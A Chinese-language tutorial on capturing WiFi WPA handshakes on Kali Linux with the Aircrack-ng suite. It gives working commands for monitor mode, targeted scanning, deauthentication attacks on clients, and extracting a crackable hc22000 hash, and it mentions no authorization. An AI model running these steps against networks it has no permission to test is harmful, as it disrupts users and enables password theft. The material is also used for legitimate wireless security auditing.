保姆级教程：用Aircrack-ng套件在Kali Linux上抓取WiFi握手包（附实战避坑点）
保姆级实战：Kali Linux下用Aircrack-ng捕获WiFi握手包的完整指南
当你第一次尝试在Kali Linux上抓取WiFi握手包时，可能会遇到各种意料之外的问题——网卡拒绝切换监听模式、信号强度不稳定、握手包始终无法捕获。这份指南将用真实的踩坑经验，带你一步步完成从环境准备到成功抓包的全过程。
1. 硬件准备与驱动兼容性检查
选择正确的无线网卡是成功的第一步。市面上标榜"支持监听模式"的USB网卡中，约40%在实际使用中存在驱动兼容性问题。经过实测，以下几款芯片组表现最为稳定：
| 芯片型号 | 推荐型号示例 | 平均信号强度 | 监听模式稳定性 |
|---|---|---|---|
| RTL8812AU | Alfa AWUS036ACH | -65dBm | ★★★★★ |
| Atheros AR9271 | TP-Link TL-WN722N | -70dBm | ★★★★☆ |
| RTL8187L | Alfa AWUS036NH | -75dBm | ★★★☆☆ |
重要提示：避免使用2020年后生产的Intel AX系列网卡，其内核驱动通常锁定监听功能
安装驱动时常见的两个坑点：
- DKMS编译失败：先执行
sudo apt update && sudo apt install -y dkms linux-headers-$(uname -r) - 权限不足：添加udev规则避免每次插拔需要sudo：
echo 'SUBSYSTEM=="usb", ATTRS{idVendor}=="0bda", ATTRS{idProduct}=="8812", MODE="0666"' | sudo tee /etc/udev/rules.d/80-rtl8812au.rules
验证网卡是否被正确识别：
lsusb | grep -i wireless iwconfig # 应显示wlan0或类似接口2. 监听模式配置的深度解析
传统教程往往直接教你用airmon-ng切换模式，但实际环境中常会遇到这些情况：
典型错误场景：
sudo airmon-ng start wlan0 # 出现错误："Found processes that could cause trouble..."此时需要分三步处理：
- 终止干扰进程：
sudo airmon-ng check kill - 手动卸载驱动后重载：
sudo modprobe -r rtl88XXau sudo modprobe rtl88XXau - 使用更底层的iw命令：
sudo ip link set wlan0 down sudo iw dev wlan0 set type monitor sudo ip link set wlan0 up
验证监听模式是否生效的关键指标：
iwconfig输出中应出现"Mode:Monitor"- 接口名称可能变为wlan0mon（但并非必须）
- 执行
sudo iw dev wlan0 scan应返回"failed (-95)..."
3. 目标网络扫描与精准捕获技巧
使用airodump-ng时，大多数教程不会告诉你这些细节：
高效扫描命令：
sudo airodump-ng wlan0mon --band abg --write /tmp/scan --output-format csv关键参数解析：
--band abg：同时扫描2.4G和5G频段--write：保存扫描结果避免重复扫描-c 6：锁定特定信道减少干扰
解读扫描结果时特别注意：
- PWR值：选择-70以上的目标（数值越接近0信号越好）
- #Data：活跃客户端数量＞3时更容易捕获握手包
- ENC类型：优先选择WPA2（CCMP）而非TKIP
实战案例：假设发现目标网络TEST_WIFI（BSSID: AA:BB:CC:DD:EE:FF），使用以下命令开始捕获：
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon4. 握手包捕获的进阶策略
当客户端不活跃时，传统等待方法可能数小时无果。此时需要主动触发：
Deauth攻击的正确姿势：
sudo aireplay-ng -0 3 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon参数说明：
-0 3：发送3次解除认证包（过多会导致设备屏蔽）-c：指定目标客户端MAC（可从airodump-ng获取）
验证握手包是否成功的三种方法：
- 查看airodump-ng右上角出现"WPA handshake"
- 检查cap文件：
wireshark capture-01.cap # 过滤显示eapol协议 - 使用hcxpcapngtool验证：
hcxpcapngtool -o hash.hc22000 capture-01.cap
5. 常见问题排错手册
问题1：网卡频繁断开连接
- 解决方案：禁用USB电源管理
echo 'options rtl88XXau rtw_power_mgnt=0' | sudo tee /etc/modprobe.d/rtl88XXau.conf
问题2：捕获的握手包无法破解
- 可能原因：5GHz频段信道宽度不匹配
- 修复方案：强制20MHz带宽
sudo iw dev wlan0mon set channel 36 HT20
问题3：信号强度波动大
- 实用技巧：使用铝箔制作定向天线
- 优化命令：
sudo iwconfig wlan0mon rate 12M fixed
最后记住，每次实验后务必关闭监听模式：
sudo airmon-ng stop wlan0mon sudo systemctl restart NetworkManager